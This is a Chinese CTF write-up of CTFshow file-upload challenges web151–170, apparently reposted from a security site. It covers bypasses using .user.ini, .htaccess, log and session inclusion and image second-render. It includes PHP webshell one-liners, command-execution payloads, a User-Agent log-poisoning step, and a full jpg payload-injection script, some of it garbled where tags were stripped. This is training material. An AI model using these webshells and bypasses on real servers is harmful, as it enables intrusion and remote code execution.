本系列题目来源:CTFSHOW: https://ctf.show/challenges
想搞好代码审计,必须要搞懂其中一些危险函数危险应用,以及过滤不足,
故以 CTF 来练习。
web151~前端验证
直接抓包修改后缀。
web152~前端+MIME
直接抓包修改后缀。
web153~.user.ini
https://www.php.net/manual/en/ini.list.php
使用条件:
(1)服务器脚本语言为PHP 服务器使用CGI/FastCGI模式
(2)上传目录下要有可执行的php文件
使用方式:
-
上传一张图片马
-
上传
.user.ini
auto_prepend_file=ma.png -
访问
.user.ini
同级目录中的一个php文件。
本题目中有 /upload/index.php
,所以可以操作。
题目配置可以从http相应包得到。nginx/1.18.0 (Ubuntu)
web154~文件内容过滤php
上来测试发现是黑名单过滤的。
我们还可以上传 .user.ini
,并且upload/index.php
真好存在。
那么我们上传一张图片马,
发现被拦截了。
文件上传失败,失败原因:文件内容不合规
猜测可能是拦截了 php 字符串。那么我们删掉他试试,果然上传成功。
那么我们呢绕过就可以了。
echo '123';?> # 不可
=eval($_POST['a']);?>
# 不可用
web155~文件内容过滤php
测试正常的 png 图片可以上传。
对图片内容过滤php
绕过 =eval($_POST['a']);
步骤跟上关一样。。。。。
web156~过滤 php, [
测试,又是文件内容过滤了 php
.
紧接着发现事情没这么简单,还过滤了[
,这给传参造成了一定的困难。
但是我们可以直接
=system('cat ../flag.???');
=eval($_POST{'a'}); # 用 {} 代替 []
web157~过滤分号
nginx/1.18.0 (Ubuntu) PHP/5.6.40
文件名黑名单
经测试,对文件内容过滤了 php
、[
、{
、 ;
上传.user.ini
我们知道 php 最后的语句也可以不加分号的,前提是得有 ?>
结束标志。
上传 2.png
=system('ls ../')?>
=system('cat ../*')?>
访问upload/index.php
web158~过滤分号
和web157解法相同。
web159~过滤括号
经测试,对文件内容过滤了 php
、[
、{
、 ;
、 (
问题不大,不能用函数了。
那我们用反引号代替system()
=`cat ../*`?>
web160~过滤反引号,包含日志
经测试,对文件内容过滤了 php
、[
、{
、 ;
、 (
、 反引号 、空格。
好家伙。包含日志文件,但发现 log
也被过滤了。那就进行拼接。
上传.user.ini
后,在上传 ma.png
=include"/var/lo"."g/nginx/access.lo"."g"?>
看到页面回显,确实包含了。
想着直接浏览器访问 url 路径带上一句话,但是却被编码了 %3C?php%20eval($_POST[1]);?%3E
还是再UA出比较好。
修改UA User-Agent:
然后成功getshell.
web161~检测文件头
发现只有文件内容异常的图片已经上传不上去了。猜测应该是对文件头进行了检测。
上传 GIF89a
成功绕过,但是这里文件内容测试只有两个字符的时候还不能上传。。。。。所以多放点字符。
其余操作和上官相同。
web162~包含session文件
测试,这关也检测了文件头,但是同时过滤掉了 点 .
我们可以看到这样绕过
.user.ini :
GIF89a
auto_prepend_file=ma
但上传ma
文件,同样不能包含日志文件。这时候就需要包含session文件了。
这里还过滤了flag
上传 ma
GIF89a
=include"/tmp/sess_fllag"?>
那么我们就开始构造,session文件竞争包含。
构造
一直上传,内容为写后门到 a.php
然后一直包含session文件。
可以看到成功包含,那么此时我们去upload/a.php
,成功访问,并测试后门成功写入。
可以参考文件包含篇:
还有 利用session.upload_progress进行文件包含
web163~包含session文件
过滤还是前面的过滤。
操作和上关一样的。
这里有upload/index.php
,所以我们其实可以直接利用此文件包含Session文件。
上传.user.ini
:
GIF89a
auto_prepend_file=/tmp/sess_fllag
然后就开始session文件竞争上传和包含。
成功。
这是题目源码:
0)
{
$ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]);
}
else
{
$filename = $_FILES["file"]["name"];
$filesize = ($_FILES["file"]["size"] / 1024);
if($filesize>1024){
$ret = array("code"=>1,"msg"=>"文件超过1024KB");
}else{
if($_FILES['file']['type'] == 'image/png'){
$arr = pathinfo($filename);
$ext_suffix = $arr['extension'];
if($ext_suffix!='php'){
$content = file_get_contents($_FILES["file"]["tmp_name"]);
if(stripos($content, "php")===FALSE && check($content) && getimagesize($_FILES["file"]["tmp_name"])){
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$_FILES["file"]["name"]);
$ret = array("code"=>0,"msg"=>"upload/".$_FILES["file"]["name"]);
}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}
}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}
}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}
}
}
function check($str){
return !preg_match('/php|{|[|;|log|(| |`|flag|./i', $str);
}
function clearUpload(){
system("mv ./upload/index.php ./index.php_");
system("rm -rf ./upload/*");
system("mv ./index.php_ ./upload/index.php");
}
sleep(2);
clearUpload();
echo json_encode($ret);
web164~png二次渲染
测试了一下。
{"code":3,"msg":"只允许上传png格式图片"}
白名单验证。
找了一张测试可以成功上传png图片。
还发现
download.php?image=4a47a0db6e60853dedfcfdf08a5ca249.png
可以随意修改图片又会被检测,故做图片马。
但是一般的图片马还绕不过,应该是做了二次渲染。
所以可以上传二次渲染绕过的图片,在做文件包含即可。
生成脚本:
*/
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y
web165~jpg二次渲染
测试只能上传 jpg.
{"code":3,"msg":"只允许上传jpg格式图片"}
也是二次渲染,当我们写后门进图片是,后台会自动检测并删除数据。
那么就用到 jpg二次渲染绕过了。
拿脚本
In case of successful injection you will get a specially crafted image, which should be uploaded again.
Since the most straightforward injection method is used, the following problems can occur:
1) After the second processing the injected data may become partially corrupted.
2) The jpg_payload.php script outputs "Something's wrong".
If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.
Sergey Bobrov @Black2Fan.
See also:
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
*/
$miniPayload = "=eval($_POST[1]);?>";
if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}
if(!isset($argv[1])) {
die('php jpg_payload.php ');
}
set_error_handler("custom_error_handler");
for($pad = 0; $pad readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}
while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat(" ",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat(" ",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something's wrong');
function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}
function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}
class DataInputStream {
private $binData;
private $order;
private $size;
public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}
public function seek() {
return ($this->size - strlen($this->binData));
}
public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}
public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}
public function readShort() {
if(strlen($this->binData) binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) binData||(strlen($this->binData) === 0);
}
}
?>
先上传一张图片,然后下载下来,然后利用脚本生成。
php jpg_payload.php
再继续上传,
发现这张图片不行,再来一张。
成功。
需要注意的是,有一些jpg图片不能被处理,所以要多尝试一些jpg图片.
web166~zip文件上传包含
尝试多次,发现zip 文件可上传。
但是上传直接编辑后门一句话的压缩包。
web167~.htaccess
但这只是前端限制。
可以看到,只允许jpg上传。
抓包测试了一下,是黑名单。
开局有个提示httpd
测试.htaccess
成功。
SetHandler application/x-httpd-php
然后上传带有马的 1.jpg
即可。
但是这里浏览器响应回来的是 nginx呀,坑。
web168~后门免杀
基础免杀
测试,会检测_GET
、_POST
。
可抓包后修改直接上传php文件。
反引号
反引号达到命令执行的效果。
把源码拔下来
0)
{
$ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]);
}
else
{
$filename = $_FILES["file"]["name"];
$filesize = ($_FILES["file"]["size"] / 1024);
if($filesize>1024){
$ret = array("code"=>1,"msg"=>"文件超过1024KB");
}else{
if($_FILES['file']['type'] == 'image/png'){
$str = file_get_contents($_FILES["file"]["tmp_name"]);
if(check($str)===0){
move_uploaded_file($_FILES["file"]["tmp_name"], './upload/'.$_FILES["file"]["name"]);
$ret = array("code"=>0,"msg"=>$_FILES["file"]["name"]);
}
}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}
}
}
function check($str){
return preg_match('/eval|assert|assert|_POST|_GET|_COOKIE|system|shell_exec|include|require/i', $str);
}
echo json_encode($ret);
本来还想着包含一波日志。
字符拼接
$_REQUEST
数学函数
其他函数构造
web169~.user.ini包含日志
测试发现
抓包需修改Content-Type: image/png
文件名后缀随意。
看看文件内容过滤了啥 ? 等等。
只能进行 .user.ini
日志文件包含了。
思路: 上传 .user.ini
auto_prepend_file=/var/log/nginx/access.log
然后随便上传个php文件即可。
然后改UA为一句话即可。
web170
测试上传zip,抓包修改,后缀为php
, MIME类型为image/png
.
包含.user.ini
日志文件/var/log/nginx/access.log
相关推荐: VulnHub-Chill-Hack 1 靶场渗透测试
作者:ch4nge时间:2021.1.25 靶场信息: 地址:https://www.vulnhub.com/entry/chill-hack-1,622/发布日期:2020年12月9日难度:容易/中级目标:获取标志Flag: 2 (User and root…
本文为转载文章,源自互联网,由网络整理整理编辑,转载请注明出处:https://www.hacksafe.net/articles/web/5776.html